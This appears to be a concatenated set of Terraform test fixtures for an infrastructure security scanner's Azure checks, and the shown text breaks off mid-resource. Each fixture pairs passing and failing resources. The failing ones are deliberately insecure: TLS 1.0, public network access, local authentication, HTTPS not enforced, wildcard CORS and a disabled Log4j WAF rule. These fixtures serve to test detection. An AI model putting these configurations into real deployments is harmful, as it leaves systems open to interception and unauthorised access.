"12345" key_vault_key_id = "yadaya" infrastructure_encryption_enabled = true } public_network_access_enabled=false identity { type = "SystemAssigned" } local_auth_enabled = false tags = { source = "terraform" } } resource "azurerm_servicebus_namespace" "fail" { name = "tfex-servicebus-namespace" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name sku = "Standard" minimum_tls_version="1.0" public_network_access_enabled=true tags = { source = "terraform" } } resource "azurerm_servicebus_namespace" "fail2" { name = "tfex-servicebus-namespace" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name sku = "Standard" local_auth_enabled = true tags = { source = "terraform" } } ================================================ FILE: tests/terraform/checks/resource/azure/example_AzureSparkPoolIsolatedComputeEnabled/main.tf ================================================ ## SHOULD PASS: Explicit true resource "azurerm_synapse_spark_pool" "pass" { name = "sparkPool1" resource_group_name = azurerm_resource_group.rg.name location = azurerm_resource_group.rg.location compute_isolation_enabled = true } ## SHOULD FAIL: Default false resource "azurerm_synapse_spark_pool" "fail" { name = "sparkPool1" resource_group_name = azurerm_resource_group.rg.name location = azurerm_resource_group.rg.location } ## SHOULD FAIL: Explicit false resource "azurerm_synapse_spark_pool" "fail2" { name = "sparkPool1" resource_group_name = azurerm_resource_group.rg.name location = azurerm_resource_group.rg.location compute_isolation_enabled = false } ================================================ FILE: tests/terraform/checks/resource/azure/example_CDNDisableHttpEndpoints/main.tf ================================================ resource "azurerm_cdn_endpoint" "pass" { name = var.cdn.name profile_name = var.cdn.profile_name location = var.cdn.location resource_group_name = var.rg_name is_http_allowed = false is_https_allowed = true origin_host_header = var.cdn.origin_host_header origin_path = var.cdn.origin_path content_types_to_compress = var.content_types_to_compress dynamic "origin" { for_each = var.origins content { name = origin.value["name"] host_name = origin.value["host_name"] } } } resource "azurerm_cdn_endpoint" "fail" { name = var.cdn.name profile_name = var.cdn.profile_name location = var.cdn.location resource_group_name = var.rg_name is_http_allowed = true is_https_allowed = false origin_host_header = var.cdn.origin_host_header origin_path = var.cdn.origin_path content_types_to_compress = var.content_types_to_compress dynamic "origin" { for_each = var.origins content { name = origin.value["name"] host_name = origin.value["host_name"] } } } resource "azurerm_cdn_endpoint" "fail2" { name = var.cdn.name profile_name = var.cdn.profile_name location = var.cdn.location resource_group_name = var.rg_name origin_host_header = var.cdn.origin_host_header origin_path = var.cdn.origin_path content_types_to_compress = var.content_types_to_compress dynamic "origin" { for_each = var.origins content { name = origin.value["name"] host_name = origin.value["host_name"] } } } ================================================ FILE: tests/terraform/checks/resource/azure/example_CDNEnableHttpsEndpoints/main.tf ================================================ resource "azurerm_cdn_endpoint" "pass" { name = var.cdn.name profile_name = var.cdn.profile_name location = var.cdn.location resource_group_name = var.rg_name is_http_allowed = false is_https_allowed = true origin_host_header = var.cdn.origin_host_header origin_path = var.cdn.origin_path content_types_to_compress = var.content_types_to_compress dynamic "origin" { for_each = var.origins content { name = origin.value["name"] host_name = origin.value["host_name"] } } } resource "azurerm_cdn_endpoint" "fail" { name = var.cdn.name profile_name = var.cdn.profile_name location = var.cdn.location resource_group_name = var.rg_name is_http_allowed = true is_https_allowed = false origin_host_header = var.cdn.origin_host_header origin_path = var.cdn.origin_path content_types_to_compress = var.content_types_to_compress dynamic "origin" { for_each = var.origins content { name = origin.value["name"] host_name = origin.value["host_name"] } } } resource "azurerm_cdn_endpoint" "pass2" { name = var.cdn.name profile_name = var.cdn.profile_name location = var.cdn.location resource_group_name = var.rg_name origin_host_header = var.cdn.origin_host_header origin_path = var.cdn.origin_path content_types_to_compress = var.content_types_to_compress dynamic "origin" { for_each = var.origins content { name = origin.value["name"] host_name = origin.value["host_name"] } } } ================================================ FILE: tests/terraform/checks/resource/azure/example_CDNTLSProtocol12/main.tf ================================================ resource "azurerm_cdn_endpoint_custom_domain" "pass" { name = "example-domain" cdn_endpoint_id = azurerm_cdn_endpoint.example.id host_name = "${azurerm_dns_cname_record.example.name}.${data.azurerm_dns_zone.example.name}" } resource "azurerm_cdn_endpoint_custom_domain" "pass2" { name = "example-domain" cdn_endpoint_id = azurerm_cdn_endpoint.example.id host_name = "${azurerm_dns_cname_record.example.name}.${data.azurerm_dns_zone.example.name}" cdn_managed_https { certificate_type = "dedicated" protocol_type = "IPBased" tls_version = "TLS12" } } resource "azurerm_cdn_endpoint_custom_domain" "pass3" { name = "example-domain" cdn_endpoint_id = azurerm_cdn_endpoint.example.id host_name = "${azurerm_dns_cname_record.example.name}.${data.azurerm_dns_zone.example.name}" user_managed_https { tls_version = "TLS12" key_vault_certificate_id = "" } } resource "azurerm_cdn_endpoint_custom_domain" "fail" { name = "example-domain" cdn_endpoint_id = azurerm_cdn_endpoint.example.id host_name = "${azurerm_dns_cname_record.example.name}.${data.azurerm_dns_zone.example.name}" user_managed_https { tls_version = "TLS10" key_vault_certificate_id = "" } } resource "azurerm_cdn_endpoint_custom_domain" "fail2" { name = "example-domain" cdn_endpoint_id = azurerm_cdn_endpoint.example.id host_name = "${azurerm_dns_cname_record.example.name}.${data.azurerm_dns_zone.example.name}" cdn_managed_https { certificate_type = "dedicated" tls_version = "None" protocol_type = "IPBased" } } ================================================ FILE: tests/terraform/checks/resource/azure/example_CognitiveServicesConfigureIdentity/main.tf ================================================ resource "azurerm_cognitive_account" "pass" { name = "example-account" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name kind = "Face" identity { type = "a" } sku_name = "S0" tags = { Acceptance = "Test" } } resource "azurerm_cognitive_account" "fail" { name = "example-account" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name kind = "Face" local_auth_enabled = true sku_name = "S0" tags = { Acceptance = "Test" } } ================================================ FILE: tests/terraform/checks/resource/azure/example_CognitiveServicesEnableLocalAuth/main.tf ================================================ resource "azurerm_cognitive_account" "fail" { name = "example-account" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name kind = "Face" sku_name = "S0" tags = { Acceptance = "Test" } } resource "azurerm_cognitive_account" "fail2" { name = "example-account" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name kind = "Face" local_auth_enabled = true sku_name = "S0" tags = { Acceptance = "Test" } } resource "azurerm_cognitive_account" "pass" { name = "example-account" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name kind = "Face" local_auth_enabled = false sku_name = "S0" tags = { Acceptance = "Test" } } ================================================ FILE: tests/terraform/checks/resource/azure/example_CosmosDBHaveCMK/main.tf ================================================ resource "azurerm_cosmosdb_account" "fail" { name = "tfex-cosmos-db-${random_integer.ri.result}" location = azurerm_resource_group.rg.location resource_group_name = azurerm_resource_group.rg.name offer_type = "Standard" kind = "GlobalDocumentDB" enable_automatic_failover = true capabilities { name = "EnableAggregationPipeline" } capabilities { name = "mongoEnableDocLevelTTL" } capabilities { name = "MongoDBv3.4" } consistency_policy { consistency_level = "BoundedStaleness" max_interval_in_seconds = 10 max_staleness_prefix = 200 } geo_location { location = var.failover_location failover_priority = 1 } geo_location { location = azurerm_resource_group.rg.location failover_priority = 0 } } resource "azurerm_cosmosdb_account" "pass" { name = "tfex-cosmos-db-${random_integer.ri.result}" location = azurerm_resource_group.rg.location resource_group_name = azurerm_resource_group.rg.name offer_type = "Standard" kind = "GlobalDocumentDB" enable_automatic_failover = true capabilities { name = "EnableAggregationPipeline" } capabilities { name = "mongoEnableDocLevelTTL" } capabilities { name = "MongoDBv3.4" } consistency_policy { consistency_level = "BoundedStaleness" max_interval_in_seconds = 10 max_staleness_prefix = 200 } geo_location { location = var.failover_location failover_priority = 1 } geo_location { location = azurerm_resource_group.rg.location failover_priority = 0 } key_vault_key_id = "A versionless Key Vault Key ID for CMK encryption" } ================================================ FILE: tests/terraform/checks/resource/azure/example_CosmosDBLocalAuthDisabled/CosmosDBLocalAuthDisabled.tf ================================================ resource "azurerm_cosmosdb_account" "pass" { name = "pike-sql" location = "uksouth" resource_group_name = "pike" offer_type = "Standard" kind = "GlobalDocumentDB" local_authentication_disabled = true enable_free_tier = true consistency_policy { consistency_level = "Session" max_interval_in_seconds = 5 max_staleness_prefix = 100 } geo_location { location = "uksouth" failover_priority = 0 } tags = { "defaultExperience" = "Core (SQL)" "hidden-cosmos-mmspecial" = "" } } resource "azurerm_cosmosdb_account" "fail" { name = "pike-sql" location = "uksouth" resource_group_name = "pike" offer_type = "Standard" kind = "GlobalDocumentDB" local_authentication_disabled = false enable_free_tier = true consistency_policy { consistency_level = "Session" max_interval_in_seconds = 5 max_staleness_prefix = 100 } geo_location { location = "uksouth" failover_priority = 0 } tags = { "defaultExperience" = "Core (SQL)" "hidden-cosmos-mmspecial" = "" } } resource "azurerm_cosmosdb_account" "fail2" { name = "pike-sql" location = "uksouth" resource_group_name = "pike" offer_type = "Standard" kind = "GlobalDocumentDB" //local_authentication_disabled = false enable_free_tier = true consistency_policy { consistency_level = "Session" max_interval_in_seconds = 5 max_staleness_prefix = 100 } geo_location { location = "uksouth" failover_priority = 0 } tags = { "defaultExperience" = "Core (SQL)" "hidden-cosmos-mmspecial" = "" } } ## SHOULD ignore: local_authentication_disabled can only be set on SQL api - kind = "GlobalDocumentDB" resource "azurerm_cosmosdb_account" "ignore" { name = "cosmos-db" location = azurerm_resource_group.rg.location resource_group_name = azurerm_resource_group.rg.name offer_type = "Standard" kind = "MongoDB" local_authentication_disabled = true consistency_policy { consistency_level = "BoundedStaleness" max_interval_in_seconds = 300 max_staleness_prefix = 100000 } geo_location { location = azurerm_resource_group.rg.location failover_priority = 0 } } resource "azurerm_cosmosdb_account" "ignore2" { name = "cosmos-db" location = azurerm_resource_group.rg.location resource_group_name = azurerm_resource_group.rg.name offer_type = "Standard" kind = "MongoDB" local_authentication_disabled = false consistency_policy { consistency_level = "BoundedStaleness" max_interval_in_seconds = 300 max_staleness_prefix = 100000 } geo_location { location = azurerm_resource_group.rg.location failover_priority = 0 } } resource "azurerm_cosmosdb_account" "ignore3" { name = "cosmos-db" location = azurerm_resource_group.rg.location resource_group_name = azurerm_resource_group.rg.name offer_type = "Standard" kind = "MongoDB" consistency_policy { consistency_level = "BoundedStaleness" max_interval_in_seconds = 300 max_staleness_prefix = 100000 } geo_location { location = azurerm_resource_group.rg.location failover_priority = 0 } } ================================================ FILE: tests/terraform/checks/resource/azure/example_DataExplorerSKUHasSLA/main.tf ================================================ resource "azurerm_kusto_cluster" "pass" { name = "kustocluster" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name sku { name = "Standard_D13_v2" capacity = 2 } tags = { Environment = "Production" } } resource "azurerm_kusto_cluster" "unknown" { name = "kustocluster" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name tags = { Environment = "Production" } } resource "azurerm_kusto_cluster" "fail" { name = "kustocluster" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name sku { name = "Dev(No SLA)_Standard_D11_v2" capacity = 2 } tags = { Environment = "Production" } } ================================================ FILE: tests/terraform/checks/resource/azure/example_DataExplorerServiceIdentity/main.tf ================================================ resource "azurerm_kusto_cluster" "pass" { name = "kustocluster" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name sku { name = "Standard_D13_v2" capacity = 2 } identity { type = "SystemAssigned" } tags = { Environment = "Production" } } resource "azurerm_kusto_cluster" "fail" { name = "kustocluster" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name sku { name = "Dev(No SLA)_Standard_D11_v2" capacity = 2 } tags = { Environment = "Production" } } ================================================ FILE: tests/terraform/checks/resource/azure/example_DataExplorerUsesDiskEncryption/main.tf ================================================ resource "azurerm_kusto_cluster" "fail" { name = "kustocluster" location = azurerm_resource_group.rg.location resource_group_name = azurerm_resource_group.rg.name sku { name = "Standard_D13_v2" capacity = 2 } tags = { Environment = "Production" } } resource "azurerm_kusto_cluster" "fail2" { name = "kustocluster" location = azurerm_resource_group.rg.location resource_group_name = azurerm_resource_group.rg.name sku { name = "Standard_D13_v2" capacity = 2 } tags = { Environment = "Production" } disk_encryption_enabled = false } resource "azurerm_kusto_cluster" "pass" { name = "kustocluster" location = azurerm_resource_group.rg.location resource_group_name = azurerm_resource_group.rg.name sku { name = "Standard_D13_v2" capacity = 2 } tags = { Environment = "Production" } disk_encryption_enabled = true } ================================================ FILE: tests/terraform/checks/resource/azure/example_DataFactoryUsesGitRepository/main.tf ================================================ # pass resource "azurerm_data_factory" "github" { location = azurerm_resource_group.example.location name = "example" resource_group_name = azurerm_resource_group.example.name github_configuration { account_name = "bridgecrewio" branch_name = "master" git_url = "https://github.com" repository_name = "checkov" root_folder = "/" } } resource "azurerm_data_factory" "vsts" { location = azurerm_resource_group.example.location name = "example" resource_group_name = azurerm_resource_group.example.name vsts_configuration { account_name = "bridgecrewio" branch_name = "master" project_name = "chechov" repository_name = "checkov" root_folder = "/" tenant_id = "123456789" } } # fail resource "azurerm_data_factory" "fail" { location = azurerm_resource_group.example.location name = "example" resource_group_name = azurerm_resource_group.example.name } ================================================ FILE: tests/terraform/checks/resource/azure/example_DatabricksWorkspaceIsNotPublic/main.tf ================================================ resource "azurerm_databricks_workspace" "fail" { name = "databricks-test" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location sku = "standard" tags = { Environment = "Production" } } resource "azurerm_databricks_workspace" "fail2" { name = "databricks-test" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location sku = "standard" public_network_access_enabled = true #Defaults to true tags = { Environment = "Production" } } resource "azurerm_databricks_workspace" "pass" { name = "databricks-test" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location sku = "standard" public_network_access_enabled = false tags = { Environment = "Production" } } ================================================ FILE: tests/terraform/checks/resource/azure/example_EventHubNamespaceMinTLS12/main.tf ================================================ resource "azurerm_eventhub_namespace" "pass" { name = "example-namespace" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name sku = "Standard" capacity = 2 minimum_tls_version = 1.2 tags = { environment = "Production" } } resource "azurerm_eventhub_namespace" "pass2" { name = "eventhub-primary" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name sku = "Standard" } resource "azurerm_eventhub_namespace" "fail" { name = "eventhub-primary" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name sku = "Standard" minimum_tls_version = "1.1" } ================================================ FILE: tests/terraform/checks/resource/azure/example_EventHubNamespaceZoneRedundant/main.tf ================================================ provider "azurerm" { features {} } resource "azurerm_resource_group" "pass" { name = "pass-resources" location = "West Europe" } resource "azurerm_eventhub_namespace" "pass" { name = "pass-eventhubns" location = azurerm_resource_group.pass.location resource_group_name = azurerm_resource_group.pass.name sku = "Standard" capacity = 2 tags = { environment = "Production" } } resource "azurerm_resource_group" "pass2" { name = "pass2-resources" location = "australiaeast" } resource "azurerm_eventhub_namespace" "pass2" { name = "pass2-eventhubns" location = azurerm_resource_group.pass2.location resource_group_name = azurerm_resource_group.pass2.name sku = "Standard" capacity = 2 tags = { environment = "Production" } } resource "azurerm_eventhub_namespace" "unknown" { name = "unknown-eventhubns" location = azurerm_resource_group.foo.location resource_group_name = azurerm_resource_group.foo.name sku = "Standard" capacity = 2 tags = { environment = "Production" } } resource "azurerm_resource_group" "fail" { name = "fail-resources" location = "South Africa West" } resource "azurerm_eventhub_namespace" "fail" { name = "fail-eventhubns" location = azurerm_resource_group.fail.location resource_group_name = azurerm_resource_group.fail.name sku = "Standard" capacity = 2 tags = { environment = "Production" } } ================================================ FILE: tests/terraform/checks/resource/azure/example_EventgridDomainIdentityProviderEnabled/main.tf ================================================ resource "azurerm_eventgrid_domain" "fail" { name = "example-app-service" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name } resource "azurerm_eventgrid_domain" "pass" { name = "example-app-service" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name identity { type = "SystemAssigned" } public_network_access_enabled = false } ================================================ FILE: tests/terraform/checks/resource/azure/example_EventgridDomainLocalAuthentication/main.tf ================================================ resource "azurerm_eventgrid_domain" "fail" { name = "example-app-service" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name } resource "azurerm_eventgrid_domain" "fail2" { name = "example-app-service" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name identity { type = "SystemAssigned" } local_auth_enabled = true } resource "azurerm_eventgrid_domain" "pass" { name = "example-app-service" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name identity { type = "SystemAssigned" } local_auth_enabled = false } ================================================ FILE: tests/terraform/checks/resource/azure/example_EventgridDomainNetworkAccess/main.tf ================================================ resource "azurerm_eventgrid_domain" "fail" { name = "example-app-service" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name } resource "azurerm_eventgrid_domain" "fail2" { name = "example-app-service" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name identity { type = "SystemAssigned" } public_network_access_enabled = true } resource "azurerm_eventgrid_domain" "pass" { name = "example-app-service" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name identity { type = "SystemAssigned" } public_network_access_enabled = false } ================================================ FILE: tests/terraform/checks/resource/azure/example_EventgridTopicIdentityProviderEnabled/main.tf ================================================ resource "azurerm_eventgrid_topic" "fail" { name = "my-eventgrid-topic" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name tags = { environment = "Production" } } resource "azurerm_eventgrid_topic" "pass" { name = "my-eventgrid-topic" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name identity { type = "SystemAssigned" } tags = { environment = "Production" } } ================================================ FILE: tests/terraform/checks/resource/azure/example_EventgridTopicLocalAuthentication/main.tf ================================================ resource "azurerm_eventgrid_topic" "fail" { name = "my-eventgrid-topic" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name tags = { environment = "Production" } } resource "azurerm_eventgrid_topic" "fail2" { name = "my-eventgrid-topic" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name local_auth_enabled = true tags = { environment = "Production" } } resource "azurerm_eventgrid_topic" "pass" { name = "my-eventgrid-topic" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name local_auth_enabled = false tags = { environment = "Production" } } ================================================ FILE: tests/terraform/checks/resource/azure/example_EventgridTopicNetworkAccess/main.tf ================================================ resource "azurerm_eventgrid_topic" "fail" { name = "my-eventgrid-topic" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name tags = { environment = "Production" } } resource "azurerm_eventgrid_topic" "fail2" { name = "my-eventgrid-topic" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name public_network_access_enabled = true tags = { environment = "Production" } } resource "azurerm_eventgrid_topic" "pass" { name = "my-eventgrid-topic" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name public_network_access_enabled = false tags = { environment = "Production" } } ================================================ FILE: tests/terraform/checks/resource/azure/example_FrontDoorWAFACLCVE202144228/main.tf ================================================ # pass resource "azurerm_frontdoor_firewall_policy" "dsr_1_1_default" { name = "example" resource_group_name = "example" managed_rule { type = "Microsoft_DefaultRuleSet" version = "1.1" } } resource "azurerm_frontdoor_firewall_policy" "dsr_1_0_default" { name = "example" resource_group_name = "example" managed_rule { type = "DefaultRuleSet" version = "1.0" } } resource "azurerm_frontdoor_firewall_policy" "dsr_1_1_enabled_block" { name = "example" resource_group_name = "example" managed_rule { type = "Microsoft_DefaultRuleSet" version = "1.1" override { rule_group_name = "JAVA" rule { action = "Block" enabled = true rule_id = "944240" } } } } resource "azurerm_frontdoor_firewall_policy" "dsr_1_1_enabled_redirect" { name = "example" resource_group_name = "example" managed_rule { type = "Microsoft_DefaultRuleSet" version = "1.1" override { rule_group_name = "JAVA" rule { action = "Redirect" enabled = true rule_id = "944240" } } } } # fail resource "azurerm_frontdoor_firewall_policy" "default" { name = "example" resource_group_name = "example" } resource "azurerm_frontdoor_firewall_policy" "dsr_1_1_disabled" { name = "example" resource_group_name = "example" managed_rule { type = "Microsoft_DefaultRuleSet" version = "1.1" override { rule_group_name = "JAVA" rule { action = "Block" enabled = false rule_id = "944240" } } } } resource "azurerm_frontdoor_firewall_policy" "dsr_1_1_disabled_default" { name = "example" resource_group_name = "example" managed_rule { type = "Microsoft_DefaultRuleSet" version = "1.1" override { rule_group_name = "JAVA" rule { action = "Block" rule_id = "944240" } } } } resource "azurerm_frontdoor_firewall_policy" "dsr_1_1_enabled_allow" { name = "example" resource_group_name = "example" managed_rule { type = "Microsoft_DefaultRuleSet" version = "1.1" override { rule_group_name = "JAVA" rule { action = "Allow" enabled = true rule_id = "944240" } } } } ================================================ FILE: tests/terraform/checks/resource/azure/example_FunctionAppAccessibleOverHttps/main.tf ================================================ ## app resource "azurerm_function_app" "fail" { name = "test-azure-functions" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name app_service_plan_id = azurerm_app_service_plan.example.id storage_account_name = azurerm_storage_account.example.name storage_account_access_key = azurerm_storage_account.example.primary_access_key } resource "azurerm_function_app" "fail2" { name = "test-azure-functions" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name app_service_plan_id = azurerm_app_service_plan.example.id storage_account_name = azurerm_storage_account.example.name storage_account_access_key = azurerm_storage_account.example.primary_access_key https_only = false } resource "azurerm_function_app" "pass" { name = "test-azure-functions" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name app_service_plan_id = azurerm_app_service_plan.example.id storage_account_name = azurerm_storage_account.example.name storage_account_access_key = azurerm_storage_account.example.primary_access_key https_only = true } ## app_slot resource "azurerm_function_app_slot" "fail" { name = "test-azure-functions_slot" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name app_service_plan_id = azurerm_app_service_plan.example.id function_app_name = azurerm_function_app.example.name storage_account_name = azurerm_storage_account.example.name storage_account_access_key = azurerm_storage_account.example.primary_access_key } resource "azurerm_function_app_slot" "fail2" { name = "test-azure-functions_slot" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name app_service_plan_id = azurerm_app_service_plan.example.id function_app_name = azurerm_function_app.example.name storage_account_name = azurerm_storage_account.example.name storage_account_access_key = azurerm_storage_account.example.primary_access_key https_only = false } resource "azurerm_function_app_slot" "pass" { name = "test-azure-functions_slot" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name app_service_plan_id = azurerm_app_service_plan.example.id function_app_name = azurerm_function_app.example.name storage_account_name = azurerm_storage_account.example.name storage_account_access_key = azurerm_storage_account.example.primary_access_key https_only = true } #### linux/windows ## app resource "azurerm_linux_function_app" "fail" { name = "example-linux-function-app" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location storage_account_name = azurerm_storage_account.example.name storage_account_access_key = azurerm_storage_account.example.primary_access_key service_plan_id = azurerm_service_plan.example.id site_config {} } resource "azurerm_linux_function_app" "fail2" { name = "example-linux-function-app" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location storage_account_name = azurerm_storage_account.example.name storage_account_access_key = azurerm_storage_account.example.primary_access_key service_plan_id = azurerm_service_plan.example.id site_config {} https_only = false } resource "azurerm_linux_function_app" "fail3" { name = "example-linux-function-app" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location storage_account_name = azurerm_storage_account.example.name storage_account_access_key = azurerm_storage_account.example.primary_access_key service_plan_id = azurerm_service_plan.example.id site_config {} https_only = true auth_settings_v2 { require_https = false } } resource "azurerm_linux_function_app" "pass" { name = "example-linux-function-app" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location storage_account_name = azurerm_storage_account.example.name storage_account_access_key = azurerm_storage_account.example.primary_access_key service_plan_id = azurerm_service_plan.example.id site_config {} https_only = true } resource "azurerm_linux_function_app" "pass2" { name = "example-linux-function-app" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location storage_account_name = azurerm_storage_account.example.name storage_account_access_key = azurerm_storage_account.example.primary_access_key service_plan_id = azurerm_service_plan.example.id site_config {} https_only = true auth_settings_v2 { require_https = true } } ## app slot resource "azurerm_linux_function_app_slot" "fail" { name = "example-linux-function-app-slot" function_app_id = azurerm_linux_function_app.example.id storage_account_name = azurerm_storage_account.example.name site_config {} } resource "azurerm_linux_function_app_slot" "fail2" { name = "example-linux-function-app-slot" function_app_id = azurerm_linux_function_app.example.id storage_account_name = azurerm_storage_account.example.name site_config {} https_only = false } resource "azurerm_linux_function_app_slot" "fail3" { name = "example-linux-function-app-slot" function_app_id = azurerm_linux_function_app.example.id storage_account_name = azurerm_storage_account.example.name site_config {} auth_settings_v2 { require_https = false } https_only = true } resource "azurerm_linux_function_app_slot" "pass" { name = "example-linux-function-app-slot" function_app_id = azurerm_linux_function_app.example.id storage_account_name = azurerm_storage_account.example.name site_config {} auth_settings_v2 {} https_only = true } resource "azurerm_linux_function_app_slot" "pass2" { name = "example-linux-function-app-slot" function_app_id = azurerm_linux_function_app.example.id storage_account_name = azurerm_storage_account.example.name site_config {} auth_settings_v2 { require_https = true } https_only = true } ================================================ FILE: tests/terraform/checks/resource/azure/example_FunctionAppAccessibleOverHttps_tfplan/example_fua_for_fail_ckv_azure_70.tf ================================================ provider "azurerm" { features {} } variable "resource_group_name" { description = "resource_group_name" type = string default = "default_group_name" } variable "location" { description = "Azure location name" type = string default = "west" } resource "azurerm_storage_account" "example" { name = "examples" resource_group_name = var.resource_group_name location = var.location account_tier = "Standard" account_replication_type = "LRS" } resource "azurerm_app_service_plan" "example" { name = "example-appserviceplan" location = var.location resource_group_name = var.resource_group_name sku { tier = "Dynamic" size = "Y1" } } resource "azurerm_linux_function_app" "example" { name = "example-linux-functionapp" location = var.location resource_group_name = var.resource_group_name service_plan_id = azurerm_app_service_plan.example.id storage_account_name = azurerm_storage_account.example.name storage_account_access_key = azurerm_storage_account.example.primary_access_key site_config { https_only = true } } output "function_app_endpoint" { value = azurerm_linux_function_app.example.default_hostname } ================================================ FILE: tests/terraform/checks/resource/azure/example_FunctionAppEnableLogging/main.tf ================================================ resource "azurerm_function_app" "fail" { name = "test-azure-functions" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name app_service_plan_id = azurerm_app_service_plan.example.id storage_account_name = azurerm_storage_account.example.name storage_account_access_key = azurerm_storage_account.example.primary_access_key https_only = false enable_builtin_logging = false #default is true site_config { dotnet_framework_version = "v4.0" scm_type = "LocalGit" min_tls_version = 1.1 ftps_state = "AllAllowed" http2_enabled = false cors { allowed_origins = ["*"] } } } resource "azurerm_function_app" "pass" { name = "test-azure-functions" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name app_service_plan_id = azurerm_app_service_plan.example.id storage_account_name = azurerm_storage_account.example.name storage_account_access_key = azurerm_storage_account.example.primary_access_key https_only = false site_config { dotnet_framework_version = "v4.0" scm_type = "LocalGit" min_tls_version = 1.1 ftps_state = "AllAllowed" http2_enabled = false cors { allowed_origins = ["*"] } } } resource "azurerm_function_app" "pass2" { name = "test-azure-functions" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name app_service_plan_id = azurerm_app_service_plan.example.id storage_account_name = azurerm_storage_account.example.name storage_account_access_key = azurerm_storage_account.example.primary_access_key https_only = false enable_builtin_logging = true site_config { dotnet_framework_version = "v4.0" scm_type = "LocalGit" min_tls_version = 1.1 ftps_state = "AllAllowed" http2_enabled = false cors { allowed_origins = ["*"] } } } resource "azurerm_function_app_slot" "fail" { name = "test-azure-functions-slot" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name app_service_plan_id = azurerm_app_service_plan.example.id function_app_name = azurerm_function_app.example.name storage_account_name = azurerm_storage_account.example.name storage_account_access_key = azurerm_storage_account.example.primary_access_key enable_builtin_logging = false site_config { http2_enabled = false } auth_settings { enabled = false } } resource "azurerm_function_app_slot" "pass" { name = "test-azure-functions-slot" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name app_service_plan_id = azurerm_app_service_plan.example.id function_app_name = azurerm_function_app.example.name storage_account_name = azurerm_storage_account.example.name storage_account_access_key = azurerm_storage_account.example.primary_access_key site_config { http2_enabled = false } auth_settings { enabled = false } } resource "azurerm_function_app_slot" "pass2" { name = "test-azure-functions-slot" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name app_service_plan_id = azurerm_app_service_plan.example.id function_app_name = azurerm_function_app.example.name storage_account_name = azurerm_storage_account.example.name storage_account_access_key = azurerm_storage_account.example.primary_access_key enable_builtin_logging = true site_config { http2_enabled = false } auth_settings { enabled = false } } ================================================ FILE: tests/terraform/checks/resource/azure/example_FunctionAppHttpVersionLatest/main.tf ================================================ resource "azurerm_function_app" "fail" { name = "test-azure-functions" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name app_service_plan_id = azurerm_app_service_plan.example.id storage_account_name = azurerm_storage_account.example.name storage_account_access_key = azurerm_storage_account.example.primary_access_key os_type = "linux" } resource "azurerm_function_app" "fail2" { name = "test-azure-functions" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name app_service_plan_id = azurerm_app_service_plan.example.id storage_account_name = azurerm_storage_account.example.name storage_account_access_key = azurerm_storage_account.example.primary_access_key os_type = "linux" site_config { http2_enabled = false } } resource "azurerm_function_app" "pass" { name = "test-azure-functions" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name app_service_plan_id = azurerm_app_service_plan.example.id storage_account_name = azurerm_storage_account.example.name storage_account_access_key = azurerm_storage_account.example.primary_access_key os_type = "linux" site_config { http2_enabled = true } } resource "azurerm_function_app_slot" "fail" { name = "test-azure-functions_slot" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name app_service_plan_id = azurerm_app_service_plan.example.id function_app_name = azurerm_function_app.example.name storage_account_name = 